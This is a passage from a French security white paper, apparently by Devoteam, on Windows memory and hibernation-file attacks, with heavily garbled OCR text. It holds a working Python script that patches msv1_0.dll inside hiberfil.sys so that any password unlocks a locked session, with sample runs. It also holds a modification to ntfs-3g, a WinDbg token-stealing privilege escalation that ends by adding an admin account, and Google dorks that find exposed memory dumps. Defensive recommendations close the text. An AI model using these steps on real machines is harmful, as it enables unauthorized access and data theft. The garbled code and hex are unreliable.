n10D9eD0  OC 46 02 C1 22 F8 G50 78 00 02 89 55 28 1C F4 38 .F.é"aPH..IU{.éS
n1oD9cED | 01 58 00 8B FO FF 15 5C 20 04 3B F7 0OF 8C 87 70 0 . 15%.~ ..+ 11D
010D96F0 08 91 FE 02 DO 09 OF 84 83 58 00 31 0C C9 10 10 | ."b.B. . 11X 1. E. .

Second File - D:\dataVARCHIYEAFORENSICARAM\sample

OFFSET oo 01 02 03 04 05 06 07 08 09 04 OB OC 0D OE OF

01009640 83 C3 34 53 08 12 30 DO 01 83 F8 10 75 11 BO 01 | j1&45 0B Je.u.*.
01009650 | 8B 88 58 06 22 4D FC F8 05 ES 01 82 31 43 1C 00 | 11X "Hie. & 11H. .
01009660 32 CO EB ED GB 05 GE 05 28 GF 18 8D 09 E& 17 92 | 2ASiE.n (V.1.&.1
01009670 | 03 33 FF 57 60 00 8% 45 EO 30 00 D8 50 BE 10 00 | . 3%W° . 1Ea0 &P, .
01o0096d0 | 10 02 00 00 10 00 56 8D BO 2& C7 45 D8 18 A0 0D | ... .. VI =CEd. .
01009690 =1 =1

A I'heure actuelle, nous ignorons pourquoi les 2 octets ne sont pas compressés contrairement a tous les
autres et cherchons encore une véritable explication...

6.1.2.3. CE QUI ST REALISE CONCRETEMENT

Les octets a modifier appartiennent en réalité a la DLL « msv1_0.dll » qui est inclus dans le package
d’authentification Windows.

First File - C:ADocuments and SettingstamalardiBureautmsy1_0_dll
CFFSET 0o o1 o2 03 04 05 06 OF 08 09 0A OB 0OC OD OE OF

gooogoen 00 8B 4D 0C 49 0OF 35 74 60 00 Q0 BD 008 00 74 QM. I nt° I%
I 45V

O000BDAD | 0B 84 CO OF 84 25 &3 34 53 B6 | 1A 1%C.

0000SDEO | FF 15 CC 10 C4 77 83 8B 4D FC % .1 awjm, u 1M
oooosDco | 5F SE 5B ES <D 80 FF C0 EB ED | _ “[el1vvEL.  2Asi
0000SDDO | 90 90 90 90 90 2B FF 55 8B EC 23 EC 28 S6 57 FF  DRRRNISUNL04( V0%
OO0O0BDED | 75 08 8D 45 FO 50 FF 15 00 11 ©4 77 33 FF 57 8D | u. IE&Py. . . Aw3yW]

0ooo0gDED | 45 FO 89 45 E0 57 8D 45 DB 50 BE 00 00 10 00 56 | ESIEAWIEESP:N. . ¥

1
g lﬂ ?5 11 BD 01

En décompilant la libraire standard et celle modifiée, il est possible de comparer le code assembleur afin
de comprendre la finalité de la modification.

La dll standard est de la forme suivante :
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3U SECURITE,

00008DBS 83F810 CMP eax,0x 10 336
DO00BDBY [0x8DCC]

0000SDEBE BOO01 MOV al,0x01 5086
T —

Les deux octets modifiés « 7511 » correspondent a un saut inconditionnel (JNE OxAdresse) suite a une
comparaison de deux valeurs et réalisée par I'instruction précédente.

Concrétement, lors d’une authentification Windows, si les deux valeurs comparées sont identiques alors
la session sera déverrouillée car le mot de passe entré est considéré comme étant valide. Dans le cas
contraire les instructions exécutées dans la DLL seront différentes et la session restera verrouillée.

0000sDED FF15CC10C477 CALLM [0xFFC410CC] 386
00008DES 33F510 ZIVF =a, 0w 10 386

[0x8DCC] h

sont égales
O0O00SDEE BOO1 MO al,0x01 8085 de passe correct)
O0O0S0ED BBADFC Mo ecx, [ebp-0x04] 386
DOONSDCO 5F POP edi 3z
(alalala'= k] S5E POP esi 386 Sinon
O000SDC2 5B POP ebx 386 (mot dg passe incorrect)
DOD0B0CS EBCDS80FFFF CALL [0x00000ESS] 8085
DNONSDCE ce LEAVE 186
On0NSDCS C21Cc00 RET 000 1C 80385
O000SDCC z2C0 ¥OR al,al 8085

La dll, une fois modifiée est similaire a :

000030Bs g3F310 CMP ea, 0x 10 356
0000E0DEA 30 MOP 080
0000s0BEE BOO1 MO al,0x01 g0g8a

L'intérét de modifier les deux octets « 75 11 » par « 90 90 » consiste a supprimer 'opération de test des
deux valeurs comparées. Le nombre d’instructions ne pouvant étre modifié au risque de corrompre la dll,
linstruction en question a été remplacée par les instructions NOP (0x90) et correspond a aucune
opération.

Ainsi quelque soit le résultat de la comparaison et donc quelque soit le mot de passe saisi, celui-ci sera
considéré comme valide et la session sera déverrouillée.

Q000sDED FF15CC10C477 CALLM [OxFFC410CC] 386

Q0008DES 83F310 CMP eax,0x 10 386 . .
oo00s0s3 Sl s s
Qo0oasDEA = 1u ] MOP 3036

Q0008DEB BOO1 MOY al,oxd1 3036

Qo0osDED SE4ADFC MOY ecx, [ebp-0x04] 386

QO00s0z0 5F POP edi 386

Qo00s0z 1 5E POP == 386

QO00so 2 5B POP ehx 386

Q00030C3 E8CDE0FFFF CALL [0x00000ESS] 3036

O0003DiCs c9 LEAVE 186

QO00s0Ce C21C00 RET OO0 1C 3036

[WInuln] ndada 32C0 XOR al,al 2025

En restaurant le fichier aprés I'avoir modifié avec un éditeur hexadécimal et en réveillant la machine, un
mauvais mot de passe saisi pour déverrouiller la session et ouvre celle-ci quelque soit le nom
d’utilisateur employé (si existant évidemment).
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Certains pourraient faire la remarque suivante : si nous avons la possibilité de modifier le fichier
d’hibernation, alors pourquoi ne pas modifier la dll d’authentification stockée sur le disque dur et effacer
le fichier d’hibernation (afin que le systéme ne restaure pas la version originale...)? La réponse est assez
simple : par souci de tracabilité... en effet, seules les informations en mémoire RAM étant modifiées (par
l'intermédiaire du fichier d’hibernation) et aucune donnée n’étant inscrite sur le disque dur, il est difficile
de remonter les informations concernant la compromission de la machine.

De plus, l'altération de la dll d’authentification stockée sur le disque dur ne permettra pas de contourner
I'authentification. En effet, étant donné que, la machine étant hibernée, son démarrage se basera sur la
dll stockée dans le fichier d’hibernation et non sur celle stockée sur le disque. Ainsi, 'opération de
I'attaquant est inutile tant que le cycle d’hibernation est utilisé. L'unique moyen pour que la modification
sur le disque dur soit prise en compte est de supprimer le fichier d’hibernation afin que la machine
démarre normalement sans tenir compte de son état précédemment sauvegardé (la sauvegarde ayant
éteé effacée). Cette action n’est cependant pas discréte et peut facilement étre tracée.

Un programme Python a été développé en interne afin de réaliser automatiquement la modification de la
dll d’authentification stockée dans le fichier d’hibernation. En voici le code :

#!/usr/bin/python
# Name: hyberpatcher,
# Version: 0.1 Beta
# Author: Mathieu RENARD <mathieu.renard@devoteam.com>
# Description: This tool look for the specified signature and
# patch the hyberfile to bypass Microsoft Windows
# Authentication.
import binascii
import sys,os
#You can specify your own sign here
p= { "sig":"F8107511B0O0O1",
"patch":"F8109090B0O01"
}
def usage():
print './hiberpatcher.py hiberfile.sys'

def patch (hyberfile,offset,payload) :
print "Applying Patch @", hex(offset)
fw=open (hyberfile, 'rb+')
fw.seek (offset)
fw.write (payload)

fw.close ()

def search (hyberfile,signature, startoffset):
print "Looking for ",binascii.hexlify(signature),"..."
offset=None
f=open (hyberfile, 'rb')
f.seek (startoffset)

while 1:
cf=f.read(1l)
if cf=="":
break
if cf == signature[0]:
found=1

offset=f.tell()-1
f.seek (offset)

k=f.read(len(signature))
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3U SECURITE,

if k==signature:
print "Signature found @",hex (offset)
break
f.seek (offset-10)
before=f.read(10)
k2=f.read(len(signature))
after=f.read (10)
print binascii.hexlify(before) + "[[" + binascii.hexlify(k2) + "]]1" + binascii.hexlify(after)
f.close ()
return offset
if name == "' main_ ':
payload = binascii.unhexlify(p["patch"])
sig = binascii.unhexlify(p["sig"])
if len(sys.argv) < 2:

usage ()

sigoffset=search(sys.argv([l],sig,0)
if sigoffset:
raw_input ("Press any key to enter")
patch(sys.argv[l],sigoffset,payload)
if search(sys.argv[l],payload, (sigoffset)):
print "Patched!"
else:
print "Patch failed :( "
else:
print 'Signature not found, maybe already patched...'

print 'End'

Exemple d’utilisation :

root@LIN-SUDOMAN: /home/sudomani# mount -t ntfs-3g /dev/sdal /media/cdrom

The disk contains an unclean file system (0, 0).

The file system wasn't safely closed on Windows. Fixing.

root@LIN-SUDOMAN: /home/sudoman# cd Bureau/

root@LIN-SUDOMAN: /home/sudoman/Bureau# ./hiber-patch.py /media/cdrom/hiberfil.sys
Looking for £8107511b001

Signature found @ 0x2798b38L

83c33453081230400183[[£8107511b001] ] 8b4dfcf805e80182f£f£ff

Press any key to enter

Applying Patch @ 0x2798b38L

Looking for £8109090b001

Signature found @ 0x2798b38L
83c33453081230d400183[[£8109090b001] ] 8b4dfcf805e80182£fff
Patched!

End

Il est important de préciser qu’une fois le fichier patché et tant que la machine n’est pas véritablement
éteinte, c’est-a-dire que le mode hibernation est toujours utilisé, I'authentification avec un mot de passe
erroné sera toujours valide. Cela s’explique par les deux scénarios suivants :

Lors d’un réveil d’'une machine, le contenu du fichier d’hibernation (contenant la dil modifiée) est
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décompressé et copié en mémoire RAM

Lors d’'une mise en veille de la machine, le contenu de la RAM (contenant la dIl modifiée) est
compressé et copié dans le fichier d’hibernation

Afin que le systéme retrouve son niveau d’authentification initial, il suffit d’éteindre complétement la
machine afin que le démarrage ne se base que sur la dll stockée sur le disque dur.

Une autre solution consiste a modifier a nouveau le fichier d’hibernation en y remettant les octets
d’origine pour la dll d’authentification. Le script suivant permet de réalise cette tache :

#!/usr/bin/python
# Name: hyberpatcher,
# Version: 0.1 Beta
# Author: Mathieu RENARD <mathieu.renard@devoteam.com>
# Description: This tool look for the specified signature and
# patch the hyberfile to NOT bypass Microsoft Windows
# Authentication.
import binascii
import sys,os
#You can specify your own sign here
p= { "sig":"F8109090B0O1",
"patch":"F8107511B001"

def usage() :
print './hiberpatcher.py hiberfile.sys'

def patch(hyberfile,offset,payload):
print "Applying Patch @", hex(offset)
fw=open (hyberfile, 'rb+')
fw.seek (offset)
fw.write (payload)

fw.close ()

def search(hyberfile,signature,startoffset):
print "Looking for ",binascii.hexlify(signature),"...
offset=None
f=open (hyberfile, 'rb')
f.seek(startoffset)

while 1:
cf=f.read (1)
if cf=="":
break
if cf == signature[0]:
found=1

offset=f.tell()-1
f.seek (offset)
k=f.read(len(signature))
if k==signature:
print "Signature found @",hex(offset)
break
f.seek (offset-10)
before=f.read(10)
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k2=f.read(len(signature))

after=f.read(10)

print binascii.hexlify(before) + "[[" + binascii.hexlify(k2) + "]]1" + binascii.hexlify(after)
f.close()

return offset

if name == "' main_ ':
payload = binascii.unhexlify(p["patch"])
sig = binascii.unhexlify(p["sig"])

if len(sys.argv) < 2:
usage ()
sigoffset=search(sys.argv([l],sig,0)
if sigoffset:
raw_input ("Press any key to enter")
patch(sys.argv[l],sigoffset,payload)
if search(sys.argv[l],payload, (sigoffset)):
print "Depatched!"
else:
print "Patch failed :( "
else:
print 'Signature not found, maybe already depatched or not infected...'

print 'End'

Exemple d'utilisation :

root@LIN-SUDOMAN: /home/sudoman/Bureau# ./hiber-unpatch.py /media/cdrom/hiberfil.sys
Looking for £8109090b001

Signature found @ 0x2798b38L

83c33453081230400183[[£8109090b001] ] 8b4dfcf805e80182£f£fff

Press any key to enter

Applying Patch @ 0x2798b38L

Looking for £8107511b001

Signature found @ 0x2798b38L
83c33453081230400183[[£8107511b001] ] 8b4dfcf805e80182£ffff
Depatched!

End

6.1.2.4. SCENARIO D'INTRUSION

Le scénario d’intrusion classique est d’extraire physiquement le disque dur de son logement pour
accéder au systéeme de fichiers et lancer les scripts présentés ci-dessus depuis une machine Linux. La
seule difficulté réside dans le montage des partitions NTFS en écriture, les derniéres versions de kernel
Linux interdisant cette action. La solution consiste a modifier le code source de « ntfs-3g » et plus
particulierement le  fichier  « libntfs-3g/volume.c». Il faut modifier la  fonction «
ntfs_volume_check hiberfile » et remplacer son contenu par simplement « return 0 ».

int ntfs volume check hiberfile(ntfs_volume *vol, int verbose)

{

return 0;
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6.2. ELEVATION DES PRIVILEGES SYSTEME €N LOCAL

Ces attaques ont pour objectif d’élever les priviléges systéme d’un utilisateur n’ayant aucun droit
d’administration. Les deux attaques présentées nécessitent donc d’avoir un compte valide sur le
systéme et physiquement accés a la machine.

6.2.1. VIA LE FICHIER D’HIBERNATION

Dans le cadre de la Blackhat US 2008 et du projet Sandman [http://sandman.msuiche.net/], Matthieu
Suiche a développé un programme permettant I'élévation des privileges et dont les sources sont
disponibles sur Internet.

Une fois compilé, le programme demande en entrée I'adresse du processus « services.exe » ainsi que
celui sur lequel nous souhaitons y positionner les droits SYSTEM.

$ lpe.exe
Blackhat US 2008 - Target #1: Privilege escalation
Matthieu Suiche, http://www.msuiche.net

SandMan Framework, http://sandman.msuiche.net

Usage: lpe.exe [path to hiberfil] [services.exe EPROCESS addr] [target EPROCESS
addr]
Sample: lpe.exe hiberfil.sys 81167860 FFB95DA0

L'outil « Process.bat » de la suite d’outils Memoryze permet de réaliser cette tache lors de son exécution.
L utilitaire doit étre lancé avec I'option « -input » :

"Process.bat —input <fichier image RAW> "

Note : Le fichier d’entrée doit étre converti au préalable en image brute pour étre exploitable avec
Process.bat selon la méthode décrite plus haut.
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D:\data \ARCHIVE \FORENSIC\RAM\sandman\Final
MIR Agent 1.3.08 running as DLLEAMALARD-amalard

Loading the script from ‘out.txt’.
Beginning local aundit.
Audit started B4-21-2008% 16:16:35
Checking if ‘D:»data“~ARCHIUE“~FORENSIC-RAM“zandman“Final“Memoryze*Audits*~DLLEAMAL
ARD-20A?A421141635" exists...
Saving batch result to ’D:sdata“~ARCHIUE~FOREHNSIC-RAM“sandman>xFinal-Memoryze~Audi
ts“DLLEAMALARD~20870421141635%" .
Batch results written to ‘D:sdata“~ARCHIUES~FORENSIC~RAM~zandman~Final“Memoryze“Au
dits~DLLEAMALARDN20870421141635%" .
Mame: mir.w32processes—memory.xml
Auditing <(w32processes—memory? started B4-21-208%2 16:16:35
GetlUnigueName : mir.w32prucesses—memury
GetUnigueName: mir.w3Zprocesses—memory.le368d4d04.xml
<Issue number=""17800" level="Info" summary="Internal InformationPAE is enahled"
context="Find0SUersion' >
<Issue number= "1?533" level="Info" summary="Internal InformationAlgorithm Found
a major version of KP.'" context="FindOSUersion'/>
CIssue number=""17882" level="Info" summary="Internal InformationAlgorithm found
minor version of Service Pack 3." cuntext="Find03Uersinn"/>

EPRO at 818f2020 called explorer.exe

EPRO at 8118c3b8 called alg.exe

EPRO at 81184808 called msiexec.exe

EPRO at 811b6diA called smss.exe

EPRO at B11bc688 called ctfmon.exe

EPRO at 812bi66@ called System

EFPRO at ffhi?828 called UMwarelser.exe

EPRO at ffhi?7f8 called svchost.exe

EPRO at ffhleZ2dd called vmacthlp.exe

EPRO at ffh25a80 called svchost.exe

EPRO at ffh27dal@ called svchost.exe

EPRO at ffhZe2dd called svchost.exe

EPRO at £ffh32978 called svchost.exe

EPRO at ffh3dB28 called winlogon.exe

EPRO at ffhifcl8 called spoolsv.exe

EPRO at ffhdedad called wscntfy_exe

EPRO at ffh54758 called taskngr.exe

EPRO at ffh55af@ called cmd.exe

EFPRO at ffh63820 called services.exe

EPRO at ffheB2aB called UMwareTravy.exe

EFPRO at ffh74B828 called lsass.exe

EPRO at ffh?53cH called UHwareService.e

EPRO at ffhadc3d@ called logonui. exe

EPRO at ffhbcld@ called csrss.ex
Saving command results to 'D: \data\ﬂRCHIUE\FORENSIC\RHH\“andman\F1na1\Memury"e\H
udits“DLLEAMALARD~28898421141635%mir.wiZ2processes—menory.le3oBdd4.xml’ .
Command results written to *D:isdata~ARCHIUE“FOREMSIC-RAM~sandman“~Final“Memory=ze™
Audits“DLLEAMALARD~20098421141635 " mir. . w3Z2processes—memory.le3bBd@4 . xml” .
Auditing {(w32processzses—memory) stopped. {(Took 21.36 seconds>
Audit finished. (Took 21.563 seconds).
The local auwdit is complete.

Malheureusement, les différents tests réalisés n’ont pas permis d’obtenir de résultats positifs ...
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6.2.2. VIA LE PORT SERIE RS-232

Liaison entre machine victime et attaquante

L’attaque consiste tout d’abord a relier la machine attaquante et victime via un cable série standard.

LIAISON PAR CABLE SERIE

Pré-requis pour la machine attaquante

Windbg est un outil Microsoft permettant le débogage des systemes Windows et des différents
périphériques (Firewire, USB, RS-232). Il est disponible gratuitement sur le site de Microsoft.

Il est nécessaire d’importer les symboles spécifiques a la machine cible. Ces derniers sont
téléchargeables sur le site de Microsoft a 'adresse :
http://www.microsoft.com/whdc/devtools/debugging/symbolpkg.mspx#d

Une fois téléchargés, depuis Windbg, leur chemin doit étre indiqué au niveau de « Fichier>Symbol
Search Symbols »

symbol Search Path x|

Symbal path:
AWINDOWS\Symbols =

oK

Cancel

Help

LI Browse ...

IEkE

[ Beload

Pré-requis pour la machine victime

Dans certains cas, il est nécessaire de modifier le fichier C:\boot.ini de la machine victime afin que le
démarrage en mode debug soit réellement pris en compte. Il suffit par exemple de booter sur un systéme
installé sur une clef USB pour accéder a ce fichier et le modifier. Il faut alors ajouter a la ligne
correspondant au démarrage de Windows [operating systems] les options suivantes :

||/debug /debugport=coml /baudrate=115200 |I

Au final, le fichier doit étre similaire a :

[boot loader]

timeout=30

default=multi (0)disk (0)rdisk (0)partition (1) \WINDOWS

[operating systems]

multi (0)disk (0)rdisk (0)partition (1) \WINDOWS.O0="Microsoft Windows XP Professional" /fastdetect
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multi (0)disk(0)rdisk(0)partition (1) \WINDOWS.0="Microsoft Windows XP Professional" /fastdetect [felSelbls|
/debugport=COM1 /baudrate=11520

Lancement du débugger Windbg sur la machine attaquante

Aprés avoir lancé Windbg, paramétrez les options de Debug Kernel (Ctrl+k) telles qu'indiquées ci-
dessous :

coM | 1334 | USB20| NET | Local |

Kemel debugging over a COM port ar virtual seral device

Baud Rate:

B B

115200 [ Pes

Port: [~ Beconnect

Icom'l Resets:

Aprés validation des parameétres, la fenétre de debug apparait et attend des données entrantes via le
port série.

Microsoft (RE) Windows Debugger Version 6.11.0001. 404 X826
Copyright (o) Micro=oft Corporation. All rights reserwved.

Opened . wocoml
Waiting to reconnect. . .

Démarrage de la machine victime en mode DEBUG

Démarrez alors la machine victime en mode debug (via F8 ou le boot.ini modifié)

Advanced Options Menu
select an option:

e HMode
» Mode with Hetworking
‘e Mode with Command Prompt

{ » Boot Logqging
ble UGA Mode

Last Enow ] ; i ration (pour most
||ir'|'r..T1|r'!rr IS re Mode (Hindows dc

stem failure

Lilik
Return to 05 Choices Menu
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Le poste attaquant peut alors se connecter alors au poste victime a travers le cable et recoit les
informations de debogage a travers « Windbg »

EM Command - Kernel ‘com:port=com1,baud=115200" - WinDbg:6.11.0001.404 X86 i =]

Waiting to reconnect. .. -
Connected to Windows XP 2600 x86 compatible target at (Wed Apr 1 11:53:39.078 2009
(GHT+2)). ptrtd FALSE

Kernel Debugger connection established.

Symbol =s=earch path i=: C:~WINDOWS~Symbols:srv=c:
~Symbols*http: msdl microsoft . con dowvnload-symbols
Ezecutable search path is:
Windows XF Kernel Version 2600 MP {1 procs) Free =86 compatible
Built by: 2600 . =psp =spld_gdr 080814-1236
Hachine Hame:
Kernel basze = 0x80447000 PsloadedModulelist = 0=8055d4720
Sy=tem Uptime: not awvailable
AFD: Read DefaultSendWindow from the registry, walus: 0xfc00 (default: 0=x2000))
ERRCOE: DavReadRegistryValues-ReglueryValusExW(4). WStatus=
ERRCE: DavReadRegistryValues-RegQueryValusExW(5). WStatus
ERRCE: DavReadRegistryValues-RegQueryValusEzW(6). WStatus
==3 linedpeni)

lineOpen() AcceptTSPcall passed

lineOpen() line marked for open —
== lineOpen()
=» lineClo=se()

lineClose(): looking for tspdew
lineClo=e(): found tspdewv

= lineCla=ei()

» linelpeni)
lineOpen() AcceptTSPcall passed

14 nelmen line marled for omen —_

5
5
5

<

{=

| |Debuggee is running. . .

Pour lancer les prochaines commandes via Windbg, il faut créer un point d’arrét via I'icone

bl Kernel ‘comzport—com1,bawd—=11532
File Edit View Debug Window Help

= | % B & EE ||
Command |

Les commandes peuvent alors étre saisies dans le cadre prévu :

0: kd> g

Breal instruction e=zception — code 80000003 {(first chance)

* *
* You are seesing this message becausse you pressed sither *
* CTRI+C {if wou run kd.exe) or. *
* CTRL+BREAE {(if wou run WinDBG). *
* on your debugger machine's keyboard. *
* *
* THIS IS HOT A BUG OR A& SYSTEM CRASH *
* *
# If wou did not intend to break into the debugger. press the "g" key. then *
* press the "Enter" key now. This message might immediately reappear. If it *
# doe=s, press "g" and "Enter' again. *
* *

nt Rt lpBreakWithStatuslnstruction:
A052b5ec co int 3

0] k> |

M

Lancement d’une console DOS Windows sur le poste victime

Aprés ouverture de la session utilisateur (et non administrateur), lancez une console DOS.
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AWINDOWS\system32\cmd.exe

Microzoft Windows HP [verzion 5.1_.268H1
(C>» Copyright 1985-28081 Microszoft Corp.

IC:“Documents and ZSettings“testinet user toto “totototodS1" add
L' erreur systéme 5 s’est produite.

Acces refusé.

C:~Documents and Settings-test>

Les droits attribués a cet utilisateur ne permettent pas d’ajouter un utilisateur local au systéme.
Modification du propriétaire de la console DOS

Cette étape consiste a utiliser comme modéle une application ayant les droits systémes pour les
appliquer sur une application ne les ayant pas.

Affichez 'ensemble des processus tournant sur le systéme via la commande :

kd> !'process 0 0

Visualisez le processus « cmd.exe » [dans notre cas : (Gl [ efeled:]]

FROCESS |89deb9z8 | Ses=ionld: 0 Cid: 0ad0 Peb: 7£f{dd000 ParentCid: 09%6c
DirBa=ze: [Jacl0eal ObjectTable: =e2clfl0d HandleCount: 31.
Inage: cnd.e=es

Remontez au début du résultat de la commande « ! process 0 0 » au block "Image : System"

1 kdr lproce=s= 0 0

exxx HNT A FROCESS DUHP #xx
ROCESS j3a5f07z0] Ses=sionld: nonse Cid: 0004 Peb: 00000000 ParentCid: 0000

DirBa=se: UachD0020 0ObjectTable: =1002edf HandleCount: 399.
Inage: Sy=ten

Et repérez I'offset [dans notre cas : 8a5f07c0]

Visualiser alors ce processus via la commande :

Kd> !process 8a5£f07c0

Remontez au début de la derniere commande et visualiser le numéro du Token [e1003a98]
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DEyofeam

0: kd: |process 8a5f07z0

FROCESS 8a5f07c0 Sessionld: none Cid: 0004 Feb: 00000000 ParentiCid: 0000
DirBase: 0acz00020 ObjectTable: =1002edf HandleCount: 399,
Inage: Sv=tem
YadREoot 8a6l15078 Vads 4 Clone 0 Priwvate 3. Modified 6320, Locked 0.

DeviceMap 21001138

Token

ElapsedTine 11 c1dL 175
TzerTimne Q0:00:00.000
KernelTime a0:00:19.500

Et générez l'inverse [dans notre cas 98 3a 00 el]

Lancez la commande suivante :

Kd> dt nt! EPROCESS
Et visualisez la rubrique « Token » et repérer I'adresse du pointeur [dans notre cas : (]

0z0cd ObjectTable
Token
+lxlcc WorkingSetLoclk

Lancez la commande finale permettant 'attribution des droits systémes a la console DOS

. Ptr3? _HANDIE_
. _EX_FAST_REF
. _FAST_MUTEX

Kd> e 89d6b9c8

Kd> g

Les droits positionnés sur la console « cmd.exe » sont alors ceux de I'utilisateur « system ».

L] Gestionnaire des tiches de Windows
Fichier Affichage ?

Options

Applications  Processus |Perﬁ:|rmances I Mise en réseau I

| Mom de l'utilisateur | Pr... | Itil, mém... |
SYSTEM ag 303 Ko

Mom de limage
cidasmon,exe

inetinfo,exe SYSTEM ag o 252 Ko
lsgss, exe SYSTEM ag 3 252 Ko
SErViCes, exe SYSTEM ag 55 532Ko
winlogaon,exe SYSTEM ag 1492 Ko
C5rss. exe SYSTEM ag 5 260 Ko

Il est alors possible par exemple d’ajouter un utilisateur ayant les droits d’administration
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CAWINDOWS\system32\cmd. exe

C=~Documents and SettingsstestXnet uwuser toto "totototo&S1" ~add

La commande s’'est terminée correctement.

C:“\Documents and Settingstest>net localgroup Administrateurs toto

La commande s’est terminée correctement.

e CAWINDOWS\system32\cmd. exe

C=“Documents and Settings“totolXnet
Nom d’utilisateur

Mom complet

Commentaire

Commentaires utilisateur

Code du pays

b

user toto

Compte - actif
Le compte expire

Mot de passe - dernier changmt.

Le mot de passe expire

Le mot de passe modifiable

Mot de passe exigé

L'utilizateur peut changer de mot de passe

Stations autorisées

Script d'owverture de session
Profil d’utilisateur
Répertoire de hase

Dernier acces

Heures d’accés autorisé
Appartient aux groupes locaux

Appartient aux groupes globaux
La commande s'est terminée correctement.

A8 <Valeur par défaut

Qui
Jamais

4172089 2:11 PM
?-30-208%2 2:11 PH
412889 2:11 PM
Oui

Qui

Tout

41,2009 2:30 PM
Tout
*ldministrateurs

*Jtilisateurs
*lucun

du systéme

Vidéo : |http://insomnihack.home.pI/bqu/index.php?2008/07/08/14-privique-escalation-with-windbq-and-|

serial-port
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7. CONCLUSION ET RECOMMANNDATIONS DE SECURISNATION

Afin de réduire les risques de compromission d’'une machine par le biais de la mémoire RAM, il est
fortement recommandé de suivre les préconisations suivantes que vous pouvez considérer comme le
guide de survie de votre mémoire RAM :

1. Désactivation des accés directs a la mémoire (port Firewire et PCMCIA) depuis le BIOS afin
d’empécher les accés DMA

2. Désactivation du port série RS232 depuis le BIOS afin d’empécher I'exploitation du mode DEBUG de
Windows

3. Désactivation du boot sur média externe et réseau et protection du bios par mot de passe depuis le
BIOS afin d’empécher le démarrage de la machine sur un systéme d’exploitation externe et maitrisé

4. Désactivation du mode hibernation afin de limiter la fuite d’'informations par le biais du fichier généré
lors d’'une mise en veille prolongée

Propriétés de Options d"alimentation d |

tdodes de gestion de 'alimentation | Alertes |
Jauge de batterie | Hyvanceé Mize en veile prolongée

Lorzque 'ordinateur pazse en veille prolongée, il stocke les
informationz en mémaoire zur le dizque dur puiz 'anéte, Loreque
lordinateur sort de veille prolongée il retrouve son tat précédent,

[ ictiver la mize en veile prolongée.

"Mise en veille prolongée

Ezpace dizque pour la mize en veille prolongée
Ezpace disque dizponible : 5772 Mo
Ezpace néceszaie pour la mise en veille ;. 2 040 Mo

5. Sécurisation de la machine afin de diminuer le risque d’infection et de compromission (mises a jour
systeme et applicative, protection des flux et USB, utilisateur a moindre privilege ...). Un minimum a
faire :

¥ Centre de sécurité Windows

@ Centre de sécurité

Protéger mon ordinateur

@) Ressources x Motions e'ssfe'ntlell_.es‘ d'e securll&e o B
Le Centre de sécurité vous aide & gérer les paramétres de sécurité de Windows, Pour améliorer la
protection de votre ordinateur, vérifiez que les trois paramétres de sécurité essentiels sont activés,
= Obtenir les dernigres informations S'ils ne sont pas actives, suivez les recommandations, Pour resenir au Centre de séourité, ouvrez le
de sécurité antivirus auprés de Panneau de configuration,
Microsaft, uelles sont les nouveautés de Windows qui aident 4 probéger mon ordinateur 7

= Rechercher les dernigres mises &

jour sur le site Windows Lipdake @ Pare-feu © Active | ¥

= Obtenir une assistance pour touk
probléme touchant & la sécurité

@ Mises a jour automatiques © Activé | ¥
= Aide sur le Centre de sécurite
* Modfier |a facon dont |= Centre @J Protection antivirus © Activé | ¥
de sécurité me prévient

6. Paramétrage d’'une génération de fichier de CrashDump de taille minimale afin de limiter la fuite
d’informations
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Démarrage et récupération cd |

—Démarrage du systeéme

Systeme d'exploitation par defaut

I"Microsoft Windows %P Professionnel” fnoexecute=optin ,I'Fastdetnﬂ

v afficher la liste des systémes d'exploitation pendant I 30 3: secondes
¥ Afficher les options de récupération pendant: ; ISD Ej secondes

Cliquez sur Modifier pour modifier les options de démarrage. Modifier |

—Défaillance du systéme
¥ Ecrire un événement dans e journal syskéme
¥ Erreover une alerte d'administr ation

¥ Redémarrer automatiquement

Ecriture des informations de débogage

| “aSystemR oot Minidump

2
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7. Chiffrement complet du disque dur en utilisant des solutions telles que SafeGuard Easy, TrueCrypt,
PGP Whole Disk Encryption afin d’éviter 'accés aux données du disque dur en clair et protection du
disque par mot de passe afin d’éviter 'accés au chargeur des solutions de chiffrement depuis le bios

(Voir lien :

http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html

)

8. Ouverture de la session Windows avec un simple compte utilisateur ne bénéficiant d’aucun privilége
d’administration afin de diminuer le risque de prise totale de contréle du systtme en cas de
compromission locale ou distante

9. Protection physique de la mémoire et des ports (baies fermées, vis antivols, tour avec cadenas, ...)

afin de diminuer le risque de vol de disque dur et de barrette mémoire

10. Et le dixieme commandement... Ne JAMAIS laisser une machine non surveillée sans avoir pris le soin
de verrouiller sa session Windows car les 9 recommandations précédemment ne serviront pas a
grand-chose sans prendre en compte cette régle majeure ...

Have fun and profit but beware your memory...
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BONUS : Google Hacking DataBase ...

memory.dmp intitle:index.of Rechercher

9 résultats (0,30 secondes) Recherche avanceée

Index of llimMWHOL/WHQL win08 x64 - [ Traduire cette page ]

[DIR], Parent Directory, -. [ ]. MEMORY.DMP, 30-Mar-2010 01:14, 201M. [DIR], Minidump/,
30-Mar-2010 01:11, -. Apache Server at people.redhat.com Port 80.
- En cache

Index of /dumps - [ Traduire cette page |
Parent Directory - 051910-15802-01.dmp - 051910-15802-01 debuadger outpout.txt

Index of /dumps

Index of /files

» Parent Directory

e 051910-15802-01.dmp « Parent Directory
e 051910-15802-01 debugger_output.txt « Hirens.BootCD.11.0.zip
e 061210-18844-01.dmp e Logging.phps )
e 061210-18844-01 debugger output.txt « Logging.pys
« MEMORY.DMP « MEMORY.DMP
hiberfil.sys intitle:index.of Rechercher
10 résultats (0,33 secondes) Recherche avancée

Index of /c - [ Traduire cette page ]

hiberfil.sys, 02-Oct-2010 13:28, 2.4G. [ ]. mvstocdwx.Ist, 14-Jul-2010 11:51, 65K. [ ].
pagefile.sys, 02-Oct-2010 13:28, 3.2G ...
- En cache

Index of /c/\Website/c - [ Traduire cette page |
hiberfil.sys, 06-5ep-2010 12:55, 2.4G. [ ], mvstcdxx.Ist, 14-Jul-2010 11:51 ...
- En cache

= Flus de résultats de 71.203.100

Index of /port pieces/\VILLAGE INN - [ Traduire cette page ]

08-Nov-2006 08:03 2.9M [ ] hiberfil.sys 20-Nov-2006 10:19 0 [ ] pagefile.sys 20-Nov-2006
manini 30 nonpric..> 08-Nov-2006 10:51 5.7M [SND] ...

; inancing.html
¢ heatdrainselec.html

e hiberfil.sys
e hvacstaff.html

e index3.html
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8. PRESENTNTION DE DevoTENW

Devoteam est un groupe européen de conseil en technologies de l'information, créé en 1995, implanté
